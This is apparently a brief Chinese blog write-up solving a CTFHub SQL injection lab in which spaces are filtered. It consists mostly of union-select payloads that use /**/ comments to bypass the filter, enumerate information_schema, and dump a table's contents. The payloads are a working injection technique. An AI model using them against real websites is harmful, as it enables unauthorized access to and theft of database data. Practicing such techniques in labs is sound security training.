该文章展示了如何通过SQL注入技术查询数据库信息，包括获取schema_name（数据库名）、table_name（表名）、column_name（字段名）以及查询特定表的内容。这些查询通常用于渗透测试和安全研究。
ctfhub 过滤空格：
3/**/union/**/select/**/1,schema_name/**/from/**/information_schema.schemata
3/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
3/**/union/**/select/**/1,column_name/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='boabsogxxd'
3/**/union/**/select/**/1,cesxhpqvfe/**/from/**/sqli.boabsogxxd
1.查询数据库
2.查询表名
3.查询字段名
3/**/union/**/select/**/1,column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'sozekgxoan'/**/and/**/table_schema=/**/"sqli"/**/limit/**/0,1
4.查询字段具体内容
3/**/union/**/select/**/1,group_concat(klrqirnsbo)/**/from/**/sqli.sozekgxoan
扫一扫
5812
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
